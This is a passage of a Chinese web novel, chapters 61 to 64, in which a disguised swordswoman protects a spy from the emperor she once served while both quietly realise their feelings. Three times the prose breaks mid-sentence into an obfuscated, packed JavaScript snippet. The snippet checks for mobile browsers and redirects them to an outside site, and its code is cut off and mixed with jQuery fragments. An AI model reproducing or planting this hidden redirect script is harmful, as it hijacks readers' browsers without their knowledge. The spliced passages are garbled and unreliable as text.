“我让他做点事,稍后过来。”秦信的声音隔着薄纱传来,冷淡疏离,视线在她捏着衣角的手上稍顿了一下,“姜姑娘若无事,失陪。”语毕,也不待姜六航回答,径直推门入内。 姜六航望着那扇合拢的门扉,手悄然攥紧成拳。 以前和大哥,即便说些无聊闲话,也说得津津有味。 她来寻他,是想伺机劝他莫要沉溺歧途,可终究……无法启齿。 姜六航心头微涩,正欲转身离去。 “杀人啦!救命啊!” 一声凄厉惊恐到变调的尖叫猛地从后传来。 姜六航悚然回身,只见一个人影从屋里飞奔而出,衣裳不整,披头散发,仓惶惊惧,像后头有厉鬼索命。 紧随其后,那扇门被大力撞开,秦信已扯下帏帽,脸色铁青,手持一柄寒光凛冽的长剑,周身裹挟着骇人的杀气,紧追而出。 61. 第 61 章 姜六航尚未弄清状况,秦信已追上那人,手上的剑直刺那人臂膀。 这一剑下去,怕是要卸下整条胳膊。 剑尖堪堪触及衣料,那人神色惊慌,一转眼瞥见姜六航,眼中顿时迸出狂喜。 “姜姑娘救我!”他急忙喊道。 正冷眼旁观的姜六航:“……” 那人见她无援手之意,就地一滚,躲到她身后,急声道,“我是百晓楼的人,奉楼主之命而来。” 话音未落,秦信已绕过姜六航,又朝那人刺去,剑势凌厉,招招不离他的要害。那人显然武功平平,惊叫着在地上翻滚躲避,同时嘴里不停地叫着:“姜姑娘救我!” 姜六航在两人边上团团转,对着那连使杀招的人劝道:“秦爷!这里面定有误会,先听他解释!” 可帝王面色寒厉,充耳不闻,剑势毫不停顿。 眼见那人险象环生,姜六航咬了咬唇。 虽不知这人在大哥房里做了什么,但既然是今禾姐派他来的,不能让他就这样被大哥杀了。 大哥不是顶尖高手,自己不需使出霹雳刀法,用寻常招式即能应付,不会暴露身份, 想定之后,姜六航拔出刀横挡过去。 “铛——!” 两人刀剑相抵,面对着面,仅只半臂之距,各自使力朝对方压去。 “让开!”低沉阴冷响起,带着刺骨寒意。 姜六航抬眼,撞进一双翻涌着阴鸷和冰寒的凤眸。 那张苍白的脸近在咫尺,额角青筋跳动,面皮隐隐透出铁青,一副盛怒到极致的模样。 对面突然猛地发力,姜六航恐怕他肩伤未愈,不敢太过用力硬抗,只得连连后退。 地上那人瞅准空隙,一骨碌爬起,撒丫子就跑。 秦信眸色一厉,骤然旁跃撤剑,看也不看姜六航,饶过她追上那人,刺向他的背心。 眼看那人又滚倒在地,性命危急,姜六航只得赶过去,又一次挥刀挡在秦信面前。 随着“铛”的一声,两人刀剑再次抵在一起。 “你铁了心要护他?”对面的目光狠狠刮过来,那话像是咬着牙从齿缝里蹦出来的。 姜六航心里叫苦,却又不能眼睁睁看着今禾姐的人折在大哥手里,只得劝道:“秦爷息怒!到底发生了什么?您先冷静。” “他——”秦信目光转向那人,只说了一个字就停下,眸中翻涌起厌恶,猛地收回视线,仿佛多看一眼都污了眼睛。 “与你无关,让开!” 姜六航顺着他的目光看去。 方才混乱,不及细看,此刻她才惊觉异常。 那是个模样极其俊俏的青年,大约二十一二岁,眉目如画,却不显阴柔,让人一眼看去只会感叹好个漂亮的青年。 可那身穿着……薄如蝉翼的轻纱覆体,内里肌理若隐若现,襟口大敞,露出大片雪白肌肤与精致锁骨,墨发松挽,散落几缕垂下,脸上因方才的奔逃生起一片潮红。 活色生香四个字猛地撞进姜六航脑海。 今禾姐派青年来,这般穿着,大哥这般勃然大怒,还有几日前,今禾姐语焉不详地说“试试”……种种念头在脑海里闪过,一个荒谬却合理的猜想浮现出来,姜六航霎时头大如斗。 青年见她看来,坐在地上委屈控诉:“姜姑娘,我根本没来得及做什么!只抱了他一下……” “闭嘴!”秦信和姜六航异口同声喝道。 帝王已是勃然大怒,剑光如密网朝着挡在前面的姜六航罩来,姜六航连忙挥刀抵挡,“铛铛铛”的撞击声不绝于耳。 “主子!” “秦爷!” 远处两人疾奔而来。 青年连滚带爬扑过去,带着哭腔喊:“楼主!”宋今禾一把接住他。 另一人是冯简,他冲到近前,二话不说,挥刀便砍向正与秦信缠斗的姜六航。 姜六航接了一招,借力后跃:“别打了别打了!好好说话把事情解决。” 宋今禾目光转向秦信,干脆利落地道歉:“秦爷,碍于楼中规矩,委屈您这几日身边无人侍奉,特意遣观野前来,原是想为秦爷解闷。未事先征询秦爷心意,是我的过错。观野乃奉命行事,身不由己,万望秦爷高抬贵手饶他一回。条件,秦爷尽管开。” 秦信目光扫过女子,眸中闪过一丝杀机。 即使送人,为何要送男子? 百晓楼耳目遍及天下,莫非连他深埋心底的隐秘也窥探到了一二?今日此举,究竟是解闷,还是一次精心策划的试探? 百晓楼树大根深,在江湖上很有影响力,不策划周全,不宜轻易动手。秦信压下心中的戾气,唇边勾起一抹冷笑:“为我解闷?所以就随手送来一个你的男宠?也不怕我嫌脏?” 宋今禾连忙推开青年:“秦爷误会了,观野是我楼中探讯主事,并非男宠。” 青年接口:“秦爷放心,在下还是清白之身,此前从未抱过任何人。” 抱? 冯简闻言一缩脖子,恨不得地上开了个缝钻进去。 姜六航也在觑着大哥的脸色,眼见那脸越来越黑,那持剑的手都有点发抖,她头皮发麻,厉声斥道:“错了就是错了,还敢狡辩!”这事是今禾姐做得不对,她过后一定要和今禾姐说说,但眼前,先要保下观野。 “我错了。”观野诚恳地道。 “秦爷你看,他认错了!念在……”姜六航一时词穷,“念在他是初犯,又是奉命行事,能否从轻发落?他……” 话未说完,那双凤眸狠狠瞪过来,姜六航一噎,剩下的话吞进了肚子里,暗自担忧。 大哥恼怒得连说情的都恨上了,这可怎么收场啊? “我要他一条胳膊。”秦信声音冷硬地道。 “不行!”宋今禾断然拒绝,顿了顿,又缓和语气,娓娓道,“秦爷,山水有相逢,今日留一线情面,百晓楼记您这份人情。日后秦爷但有差遣,百晓楼上下,赴汤蹈火,在所不辞!” 观野感激涕零地又靠向她,眼中水光盈盈。 “我知秦爷富有四海,不在乎这一点酬金。”宋今禾直视着秦信的眼,“但秦爷,今日留一线,他日或有福报。” 不知被哪句话打动,秦信退了一步,没再坚持要砍青年的胳膊,却也不肯就此罢休,道:“宋楼主既如此说,那就略加小惩。” “多谢秦爷。”宋今禾行了一礼,“不知,如何小惩?” 秦信:“三十鞭。” 宋今禾面色有点难看:“三十鞭下去,恐怕伤到根本。” 秦信不为所动:“宋楼主如果心疼,可以身代之。” 观野连忙道:“楼主,没事,我受的住。”言罢,直接面朝下伏倒在地:“来吧!” 鞭刑由冯简执行,打一鞭数一鞭。 啪!啪!啪! 皮开肉绽,血色迅速洇透了衣裳。观野死死咬着布团,压抑的闷哼还是断断续续逸出。 姜六航瞄一眼面上镇定,拳头却握得死紧的宋今禾,走到观野身边,蹲下身,伸手覆上他紧扣地面的手掌,安慰道:“快了,再忍一忍。”说话间,一股精纯柔和的内力悄然渡了过去,护住他的心脉脏腑,又巧妙地让冯简鞭子落下时察觉不出异样。 观野心头剧震。 赤霄剑客的功力,竟已至此! 寻常武者运转内力,哪个不是全神贯注,屏气凝神?如赤霄剑客这般若无其事,运功时还能轻松地说话,简直闻所未闻,见所未见。 两人的手被观野溅出的鲜血染红。 秦信目光盯在那交握的手上。 悬崖边,他死死抓住女子,鲜血也是这样染红了两人相连的手指。 那只手,像极了六航的手。 还有女子局促时捏着衣角的小动作…… 他仓促地移开视线。 害怕,他清晰地感觉到心底的害怕,不敢再看眼前的场景。 为何会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936553|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 害怕? 那想拉开相握的两只手的冲动,又是为何? 他咬了咬牙,把手中剑掷出,再没看任何人,转身大踏步走向屋内。 在他的身后,扎入地中的剑身犹在颤动。 场上一片安静,几人面面相觑。 过了一会,冯简才又继续挥鞭,直到三十鞭尽数打完。 宋今禾立刻招呼人小心抬起观野,又急声吩咐速请大夫,自己也跟了过去。 姜六航在她房中等了一会儿,终于见她回来,急忙迎上去,问:“观野怎么样?” “伤得不重。”宋今禾拉着她往屋里去,“多亏你用内力护住了他的肺腑心脉,看着皮开肉绽吓人,实则都是皮肉伤,休养些时日便好。” 两人坐下,姜六航吸了口气:“那也很疼啊。衣裳碎片嵌进肉里了吧?你看着大夫清理干净了吗?万一感染,会出人命的。” “他不肯让我看,不过我叮嘱了大夫。” “为何不让你看?”姜六航问,“害羞吗?” 先前观野不肯脱衣受刑,宁愿事后处理嵌进皮肤的衣裳碎片,再受一次疼,现在又拒绝上司的关切,种种行为,她只能想到害羞这个解释。 可一个能穿着薄纱去抱陌生人的人,又怎会如此? 宋今禾唇角勾起一抹意味深长的弧度:“女为悦己者容,男子也是一样。他心中有我,自是不愿让我看到那些狰狞丑陋的伤痕。” 姜六航:“……你不是说他不是你男宠吗?” “是啊,不是男宠,我从不让属下做男宠。”宋今禾指尖轻轻敲着扶手,笑容里多了几分玩味,“这回我派人去试探皇帝,他自告奋勇。我想着,手下的人中,数他看人最准,最会揣测人心,就让他去了,谁知被他摆了一道。” 说着被属下算计,她语气却无怒意,反而带着点新奇:“明明有更温和的法子可用,他却选了最激进的。连我此刻心中这份因他受伤而起的愧疚,怕也在他算计之中。” 姜六航明智地闭了嘴。 这两人之间的攻防进退,她还是别掺和的好。 总归今禾姐不会吃亏! 宋今禾笑意加深:“不过,他却没算到皇上反应会如此激烈。若早知如此,他绝不会行此招。若非你今日恰巧在场,他此刻早已是一具尸体,或是废人了。那才真是偷鸡不成蚀把米,赔了夫人又折兵。” 姜六航下意识反驳:“受点伤难免,丧命不至于。他罪不至死,皇上不会随意取人性命。” 宋今禾斜睨她一眼,似笑非笑:“你这样了解皇帝?” 姜六航心下一咯噔,勉强扯出个笑:“天下人都知道,皇上爱民如子,仁慈善德。” “那是登基前的皇上。”宋今禾咂咂嘴,“现在的皇上嘛,早已疯了。他能做出招魂、换魂的事,还有什么疯狂的事做不出?杀个把人而已。” 姜六航心下一沉,默然不语。 这正是她埋在心底的隐忧。 多少明君,便是从崇信方术开始,一步步滑向昏聩的深渊。 宋今禾转过话题:“观野这法子虽然激进,效果却极好,一下就探明了皇帝的心意。在观野扑过去的第一刻,他眼里立即现出嫌恶。倘若他喜欢男子,不会如此。” 姜六航:“我就说……” 宋今禾打断她:“皇帝,他不是喜欢男子,只是喜欢衡王。”她盯着姜六航的眼,收起了脸上的笑,斩钉截铁道:“不,喜欢太浅了,应该说,他心中所求所念,唯衡王一人而已。” 仿佛一道惊雷劈在头上,姜六航整个人都僵住了,脑中一片空白。 她愣愣地看着面前的人。 今禾姐,是认真的。 不同于昨天带着点八卦和玩笑的猜测,此刻今禾姐的神情,是十分的认真,十分的笃定。 今禾姐下的定论,从未出过错。 姜六航嘴唇翕动,半晌才开口,声音含着一丝颤抖:“你……你混说什么?” 62. 第 62 章 冯简屏息凝神,将两桶水轻轻放在屏风旁。 皇帝的手自屏风后伸出,无声地提走水桶,接着响起“哗哗哗”的水声。 冯简垂手侍立,眼观鼻鼻观心,不敢多说一句话。 皇上已经换了两次水了。 皇上虽爱洁,却不到有洁癖的程度。行军时身上沾染泥土,和军士打斗时沾上他们的汗水,战场上敌兵的血溅上肌肤,皇上从未像这样多次清洗。 这回,是因为那人别有用心吧? 皇上竟然对此如此厌恶。 他知道皇上心里装着衡王。 可世间大多男子,纵心中有所爱,也不妨碍寻欢作乐。军中更是常见,妻子不在身边,很多军士会在休假时,成群结伴到一些地方解决欲望。 皇上却从未与任何人亲密,登基以来,对广开后宫的奏请一律压下。 这几年,大臣们愈发着急,催请立后选妃的折子雪片般呈上。尤其是裴祥光裴尚书,苦口婆心地劝了又劝,近半年才似灰了心,终于偃旗息鼓,没再和皇上提此事。 倒是姜丞相与小裴国公始终置身事外,从始至终没有递上过一封催促皇上立后的奏折。 冯简时常觉得奇怪。 小裴国公倒罢,她一向反感逼婚,自己也至今未成亲。 可姜丞相,身为百官之首,难道不考虑天下大局?不知若无皇嗣,大夏说不定一朝而终,天下重又陷入混乱? 不过……冯简甩甩头,这不是他该深究的。 他的职责,是做皇上最忠诚的盾牌。对于他来说,皇上的意志就是一切,不需想太多。 屏风后传来唤声。 冯简连忙收拢散乱的思绪,答应着进去,却见皇上已换好常服,湿发披散,指着角落堆着的脱下的衣裳:“拿去扔了。” 冯简抱起那身衣裳,又提起空桶,正要退下,却听秦信又道:“再提一桶水来。” 洗完了还要水?冯简不解,却习惯性地照办。待他提水进来,秦信示意他倒出一些在脸盆里,接着,拿起匕首和佛串,将它们浸入水中清洗。 冯简恍然,心中暗想:“匕首且不说,那是皇上最珍爱之物,但那串佛珠,若非是由十八位大师开光祈福,在佛前供奉了一百零八天,得来不易,恐怕也要被皇上扔了。只因它和那衣裳一样,都被那人碰触到了。” 足足洗了三遍,秦信才罢手,将两样东西置于窗台晾干。 目光在房内扫视一圈,他问:“器物可都换了?” “都换了。”冯简连忙应道,“桌椅、柜子、被褥……房间里所有的器物,宋楼主都送了新的来,全部换上了。” 秦信颔首,没再多言,坐到案前批阅京城快马送来的奏折。 冯简取了干布,轻轻擦拭皇上湿着的发丝。 “那是什么?”秦信一本奏折看完,搁到桌旁,目光不经意扫到桌上一个精致的红漆木盒。 “是宋楼主送来的,说叫玉雪膏,除疤效果极好。”冯简道,“宋楼主说,皇上额头上的疤痕,只要涂抹上这个玉雪膏,一天三次,只消二十天就不留一点痕迹。” “朕用不着,拿走。” 冯简应是。 他就知道是这个结果。 当初御医也给过皇上涂抹的膏药,没玉雪膏的奇效,但御医也说了,抹上半年能除去额头上的疤痕,可皇上一次也没抹过。 “她怎么今天突然想起送膏药?”秦信又翻开一本奏折。 他们来好几天了,怎么早先不送? 冯简:“可能是……顺便?来人拿着三盒玉雪膏,给我们留下一盒,还有两盒拿着往那个观野那里去了。” 秦信越发觉得那木盒碍眼,皱眉道:“扔了。” 语毕低头,却一时沉不下心继续看奏折,眼前总浮现出女子与青年交握的手。 那顶帏帽下的脸,定然满是担忧吧? 心中又升起暴戾和……害怕。 秦信蓦地捏紧奏折。 为何? 暴戾尚可解,因那女子像六航,扰他心神。可害怕,又是为何? 初见女子时,这份惧意尚不是十分清晰,可随着时日延长,逐渐明显得无法忽视。 他细细地剖析自己的心。 到底在惧怕什么? 幼时,他惴恐饿死、冻死,惴恐母亲生病。少时,他惴恐无出头之日,不能拉母亲出泥沼。后来,母亲逝去,他掌和州,大权在握,一言九鼎,几乎再无可怕之事。 再后来,他的惧怯都与六航有关——惧怯与之分离,惧怯义弟发现自己的心思,惧怯义弟娶妻生子,惧怯有朝一日自己控制不住对义弟的占有欲从而伤害他…… 秦信摒除杂念,近乎冷酷地审视着自己。 渐渐地,一个念头浮出水面。 他猛地站起,衣袖扫到桌上的奏折,“哗啦啦”落了一地。 冯简大吃一惊地看过去,只见皇帝面色一片死白,双眼瞪大,里面满是震惊。 “皇上!怎么了?”冯简大骇。 秦信嘴唇颤动:“原来如此。” 是心底深处,忧惧有一日熬受不住,把对六航的爱恋移到旁人身上。所以,竟然畏惧见到和他有一丝相像的人。 从遇到那女子,他就一直在躲着。 决心不再见她。 刻意不听她的消息。 每每想到,就立即强制把她从脑中驱除。 到如今,竟然生出畏惧。 皇上在说什么如此?冯简急道,“皇上,出了何事?” 秦信缓缓坐下:“无事。” 荒谬。 可笑。 此后,他再不会逃避,干脆把那女子一点点地看清楚、看明白。 如此,就再不会被扰乱心神。 “赤霄剑客这几日常在何处走动?”秦信一颗颗地捻动佛珠。 冯简见他脸色好了些,心下稍松,一边奇怪皇上刚才到底怎么回事,一边回道:“她一般在那几栋楼附近闲步,有时走到这里来。” “这里?”秦信抬眸。 “是。”冯简答道,“每天都来好几次,在边上晃荡。” “下次她来了,你告知朕。” 冯简应是。见皇上再无吩咐,他捡起掉落地上的奏折,放在桌上。 秦信翻开奏折,刚提起笔,欲要在上面批注,突地想起那女子戴着帏帽,瞧不见脸。他顿住,目中露出不解。 “这山上的人都知她赤霄剑客的身份,她为何还要戴着帏帽?” 冯简一愣:“她在山上没戴帏帽啊。” “没戴帏帽?”秦信讶然。 “是,臣这几天见到她,都没戴帏帽。”冯简说到这里,顿了一下,突然想起刚才,赶紧补充一句,“只有刚才戴着。” 皇帝的目光落在他脸上,久久未动,冯简被盯得一头雾水。 搁下笔,秦信手指轻点桌案,语音沉沉:“这几天你见到她时,她手上可拿着帏帽?” 方才那女子站在门口,远远见到他来,匆忙把拿在手里的帏帽戴上。 难不成那帏帽是专为他准备的?见别人都不用戴,见到他就戴上? 冯简回想了一下,回道:“拿着。每次都拿着。” 说着这话,他也奇怪起来。先前没想到这点,此时越想越疑惑。既不用戴,姜姑娘又为何要把帏帽时时拿在手上? “看到我就戴上了。莫非我以前见过她?和她有过节?” 皇帝这话说得很轻,冯简竖着耳朵也没听清。 “冯简,依你看,”秦信眼中暗色深幽,“那赤霄剑客身上有哪些不合常理之处?” 冯简心中一动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16940695|188379||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自下黑岩山后,皇上便一副再也不想听到任何赤霄剑客消息的模样,此刻却又流露出异乎寻常的关注。 自衡王去后,除了为衡王祈福、招魂,围剿马荣等有限的几件事,皇上对其它的都很漠然。每日按部就班地处理朝政,好像只是完成自己的职责,不管发生好的坏的情况,都没有什么情绪波动。 如今这样,是好事! 他希望,皇上在这世上感兴趣的人和事越多越好。 嗯……和尚悟尘除外,他希望皇上离得悟尘远远的。 冯简精神一振,绞尽脑汁地道:“斩月楼行踪诡秘,官府也难以觅得他们的行踪,她却以一人之力,探查出上千斩月楼帮众的信息,实在令人不可思议。” 秦信颔首。 “在黑岩山,她于浓雾中行走自如,不合常理。” “……” 冯简列出六七条,搜肠刮肚再难想出。 秦信目光微凝,轻轻扣着桌案:“她使剑,却换剑为刀。江湖中使剑女子众多,并不引人注目,她却宁愿换下趁手兵器,也不冒一点暴露身份的危险。如今江湖对她已改观,追杀者寥寥,她为何仍如此惧怕被人认出?” 冯简连连点头:“皇上明鉴。这里面大有蹊跷、大有文章!” 秦信似想到什么,倏然抬眼,看向冯简。 冯简:“?” 秦信慢慢道:“你那时说,贴上她的字,她的脸要丢到全天下去了?” 话题转到意想不到的方向,冯简慢了半拍才答道:“是……是啊。” 秦信脑子里忽地现出当初在黑岩山,女子坐在岩石上悄悄和他比高矮的情景,不由得冒出一个荒谬念头,问冯简道:“你觉得,她会不会就是怕丢脸才处处遮掩,连兵器也换了?” 冯简:“……” 他断然摇头,“看她刚才用刀,不伦不类,实力大减。高手相争,毫厘之差足以致命。她换刀,定是万般不得已,不可能是因……怕丢脸。” 秦信略一思索,也觉这念头太过无稽,遂抛开此事,专心批阅奏折。 见这里暂时用不上自己,冯简拿着红漆木盒出来。 经过装置废弃物品的陶瓮时,他停了一停,又径直往前走了,顺手把木盒塞进怀里。 这可是好药,扔了可惜。 留着吧,总有用得着的地方。 —— 云山。 五岁的小姜衡趴在床上,透过眼缝,看见爹走到床前,先为她盖上蹬开的小被子,再将娘身上的被子向上拉了拉,盖住娘的肩头。 然后,爹侧身坐在床沿,拨开飘落在娘颊边的一缕发丝,慢慢俯下身。 爹的脸庞离娘亲那样近,离她也那样近。 她清晰地看见,爹凝视娘的眼中,盛满了浓得化不开的温柔与欢喜。 那眼神……好熟悉啊。她一定还在哪里见过。 突地,爹的脸被另一张凤眼薄唇的俊美脸庞取代。 是大哥! 大哥直直凝视着她,眼中是如出一辙的柔情与心悦。他开口,声音低哑:“六六,我喜欢你。” 姜六航猛地睁开眼,从床榻上惊坐而起。 窗外月色幽幽,传来轻微的虫鸣声。 她捂住脑袋,心口“砰砰砰”狂跳不止,几乎要撞破胸腔。 “我真傻。”半晌,她低喃。 真傻啊,整整五年,对大哥眼中那样昭然若揭的情意视而不见。 那滚烫的、专注的注视,她竟一直只当作兄弟之情。 若非今天今禾姐那句话在她心间投下巨石,若非今晚这旧梦,她仍将深陷在迷雾里。 大哥,喜欢她。 喜欢她啊。 酸涩、茫然、无措,又有一丝喜悦……百般滋味汹涌而上,几乎要将她淹没。她攥紧拳头,指甲深深陷入掌心。 63. 第 63 章 翌日上午,冯简搬起已经批阅的奏折,正欲送去山下,忽听皇上问道:“赤霄剑客一直未来?” 冯简从奏折上抬起头,也觉得奇怪:“回皇上,没来。往日这个时辰,她都在门前晃过两三趟了,今日却一直没见来。” 秦信指节轻敲桌面,眸光低垂,一时未言。 皇上没示意离开,冯简抱着奏折站在那里,等候吩咐。 “她安置在何处?” 冯简早把山上的地形和人员配置弄清,立刻回道:“在主楼主院的东耳房。” 秦信倏然起身,径直朝门口走去。 冯简的心一沉,第一反应:完了,皇上又要去见那和尚了。 这几日,皇上一直在房里处理积压的政务,只出过两次门,皆是去寻那和尚。眼见着皇上有越来越沉溺于虚幻的趋势,却无人可劝。 冯简心里沉重,待跟着皇上跨出门槛,却见皇上并未走那条通往山下的路,而是踏上了另一条路。 他愣在原地,直到那玄色身影转过山角,才猛然回神,全身的沉重一扫而空,“嘿”地一声,狠狠跺了下脚,脸上几乎要放出光来。 皇上是往主楼方向去的。从昨天起,皇上几番问起赤霄剑客,此时定是去寻她。 虽然想不通皇上为何突然转了性,从避之不及到主动寻人,但管他呢,不是去找和尚就好。冯简抱着奏折,脚步轻快地下山去了。 —— 另一头,姜六航却没有冯简的好心情。 自做了那个梦后,她睁着眼,半夜未睡。 一会儿想到那五年间,大哥给她做衣,每次出行为她收拾行礼,把烤好的鸡子切成一块块放在盘子里推给她……傻傻的自己,那时还感慨天下再没有这样爱护兄弟的大哥。 一会儿想到,梁州分别的前夜,大哥环住她收拢的手臂,心脏要蹦出胸腔的急跳。 一会儿又想到,大哥对姜大人说,今后只与意中人一心一意相守,绝无旁人。 历史上的大哥,没能找到意中人,孤独一生。 此世的大哥,心念着她。 她呢,对大哥又是怎样的感情?是否有……男女之爱? 有爱,就应有欲。 可她从未幻想过与大哥唇齿缠绵、肌肤相亲。 但重逢后,每次见到,甚至只是念起,她都渴望用力地、紧紧地抱住他,抚平他额头的伤疤,驱散他周身的冷寂,予他温暖,予他力量。 这……究竟算不算爱欲? 纷纷杂杂的念头,如起伏的浪头,一个接着一个在脑子里涌现、翻绞,直到一个念头如冰水浇下:若解不了毒,何谈以后?纠结这些又有何用? 抛开此事,无数忧虑又汹涌而至。 几天了,还没找到天心草,这世上真的还存活有天心草吗? 若她消失,大哥会不会疯魔般追寻一个虚妄的魂魄?会不会彻底走上歧途,甚而引起国家动乱?朝中谁能劝住他?她又能做些什么……而不暴露? 天色泛白,姜六航精神萎靡地起身洗漱。 出门时,犹豫了一下,还是拿上了帷帽。 今天心绪不稳,她不打算去大哥那儿。大哥深居简出,撞上的几率极小,但她不敢冒险。 几座楼里众人紧张忙碌,在浩瀚卷海中搜寻那渺茫的生机。姜六航自觉避嫌,只在外面问了问进展便离开。孙从庸正钻研针灸,眉头紧锁,没说两句就挥手赶人。 姜六航无处可去,只得漫无目的地在山间溜达。 天色阴沉,铅灰色的云压着山头,凉风拂面,带着湿冷潮气。姜六航拐上一条偏僻小径,忽听前方草丛簌簌作响,一团影子猛地窜出,“咯咯”惊叫着连飞带跑。 野鸡! 这几天只看见兔子等小动物,却从没见到野鸡,今儿可出现了。 姜六航眼中冒光,可惜手中没有弓箭,顺手折了一根树枝,运足臂力,“嗖”地一声破空掷出。树枝挟着风声,紧追着仓惶逃窜的影子而去。 “噗嗤!”那鸡子被刺中倒地。 姜六航欢喜地上前。 野鸡被树枝扎中脖子,早已气绝,姜六航提起它的翅膀,掂量着分量。 就在此时,她听到身后的脚步声。 姜六航提着野鸡转身,还未完全转过去,眼角余光已扫到一个人影——一个再熟悉不过的人,昨晚刚出现在她的梦里,又翻来覆去地在她脑海里搅了半夜。 心脏猛地漏跳了一个拍,呼吸滞住。 手上力道一松,野鸡差点脱手,她慌忙收紧手指,同时,另一只手闪电般将帷帽扣上,严严实实遮住脸庞。 她站在原地,等着那人走上一旁的岔路。 那人的疏离,她感觉得到,必不会特意过来与她说话。若是往日,她自然会主动打招呼,可现在,她还没想好怎么面对他。 下垂的视线中,玄色衣摆飘动,向这里移来。 姜六航诧然,这条小径直通深山,大哥朝这里走过来干什么? 打猎? 她下意识抬头,视线飞快地在他身上扫了一圈。 他一手握着佛珠,一手垂在身侧,并没拿着弓箭。腰间只挂着那把匕首,也没弓箭。 很快,高大的身影到了面前。 “姜姑娘。”声音低沉,听不出情绪。 “秦爷。”姜六航回道,努力维持声音平稳,侧身让路。 但那人却没过去,在她面前站定了。她敏锐地察觉到,大哥的视线落在她手上,以及那只被她紧攥着翅膀,脖颈还淌着血的野鸡。 “嗒。”一滴血珠砸在泥土上,声音在死寂中格外清晰。 秦信眸中映出那只抓紧鸡翅膀的手,骨节均匀,纤长有力,大小、形状,甚至那用力时微微绷紧的弧度,都与记忆中的严丝合缝。六航的手在男子中属于骨架较小的那种,却没想到和一个女子的手如斯相似。他从未留意过旁的女子,是否有很多都是如此?不,不可能,纵然骨架仿佛,也不可能处处相仿。 似乎察觉了他的凝视,那手不安地往后缩了缩。 秦信的目光骤然抬起,仿佛穿透了那层薄纱,直直对上她的眼。 “姜姑娘喜欢吃鸡?” “……嗯。” “不知姜姑娘喜欢如何吃法?” 姜六航心中更是惊异,大哥竟然和她攀谈起来了? “我……我喜欢炒了吃,切成小块,热油爆炒,加点姜片、葱白去腥,滋味最好。” “如此。”秦信缓缓转着佛珠,右手无意识地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“暂时没打算。” 秦信沉默了片刻。山风掠过,吹动他玄色的衣袂。就在姜六航以为对话结束时,他忽然开口,声音里多了一丝难以辨别的意味:“若有一日,你到了京城,可来寻我,我为你接风。” 姜六航惊得帷帽下的嘴都张开了:“……” 大哥他什么意思? 大哥今天太反常了,不复之前的冷淡,和她说了这么多话,恍惚回到了当年两人闲谈之时,此刻竟然还邀请她去京城? “不、不了。”她结巴了一下,“近些年,我可能都不会去京城。” 她仓促地抬了抬手:“我先走了,这鸡子得赶紧处理,好赶上午饭。”语毕,草草行了一礼,几乎是逃也似地,从他身边快步走过。 秦信站在原地,目光沉沉地追随着那道大步离去的背影,最终定在她摆动的臂膀上,直到那身影越去越远,再也不见。 或许,世上再不会有人,能像这女子般,如此神似六航。 他既能看清这女子,日后再不惧被其他人所惑。 —— 这一天剩下的时间里,大哥反常的言行反复在姜六航脑中盘旋,搅得她心神不宁。入夜后,纷乱的梦境更是接踵而至。 不知睡了多久,门外忽然传来几声轻叩。 “衡妹妹,醒着吗?”是宋今禾的声音。 “醒着。”姜六航起身开门。 宋今禾提着一盏灯笼站在门口,眼中跳跃的光芒比灯笼的火苗更亮:“衡妹妹,刚查到!天心草,皇宫里可能还有。” 64. 第 64 章 天还未亮,百晓楼书阁的第三层,红木台灯的光晕在堆积如山的书卷上投下暖黄,将围在桌案前的三人身影拉长。 姜六航、宋今禾,以及闻讯赶来的孙从庸,三双眼睛,死死锁住案上那页泛黄的记载。 上面写着,宣德年间,一富商之子罹患奇症,需天心草入药。其时天心草已绝迹中原多年,富商遍寻无果。后忽得一株,其子因而获救。富商对天心草来历讳莫如深,百晓楼多方查证,确认出自皇宫大内。 记载寥寥数语,富商姓名籍贯一概缺失,难以寻其人求证。 天心草极难养活,那年距今已二十几年,其间又经历战火,当年宫中有,如今是否尚存?希望渺茫。 但无论如何,终究是一线生机。 孙从庸喜形于色,一掌拍在案上:“好!天不绝人!皇帝人就在山上,我们这就去见他,问问他宫中是否还种着天心草。他若不知,请他立刻派人去查。若有,请他给我们几片叶子做药引,也不要多,六片足够。我拿回春丹和他换,或者其它丹药,随他挑。叶子摘了还能再生,他一定愿意。” 姜六航:“!!!” 不行! 绝对不行! 自投罗网!这无异于将自己亲手送到大哥面前! 倘若大哥询问给谁治病,她当然可以编造一个人,但一旦大哥起念追查,这个谎言很容易被戳穿。 若大哥查出,她服用了增气丹才需天心草解毒……那龙影面具呢?是不是也是她拿的?她戴着面具又扮作了谁? 姜帅与赤霄剑客,性别、所用武器截然不同,大哥未必联想得到。 但裴佑不同。 她知道姜帅刀剑造诣,又正巧来历成谜,很自然就会猜想,姜帅会不会是赤霄剑客所扮。 毕竟,留下的替身面目不清,并不能百分百确定是姜帅。 而那场火,细究起来,疑点重重——谢思礼追查的过程中,必然已有所察觉。 更致命的是时间上的巧合:姜帅现面的几年间,赤霄剑客正好销声匿迹。 一旦起了疑心,追查下去,揭穿只是迟早的事。只要裴佑和师父碰面,各自使出剑法,真相即大白。 她不愿大哥知道。 从庸叔叔说,天心草,也只有六成把握清除增气丹的毒性。 仅只六成! 倘若失败呢?难道让大哥再经历一场生离死别? 大哥……喜欢她。 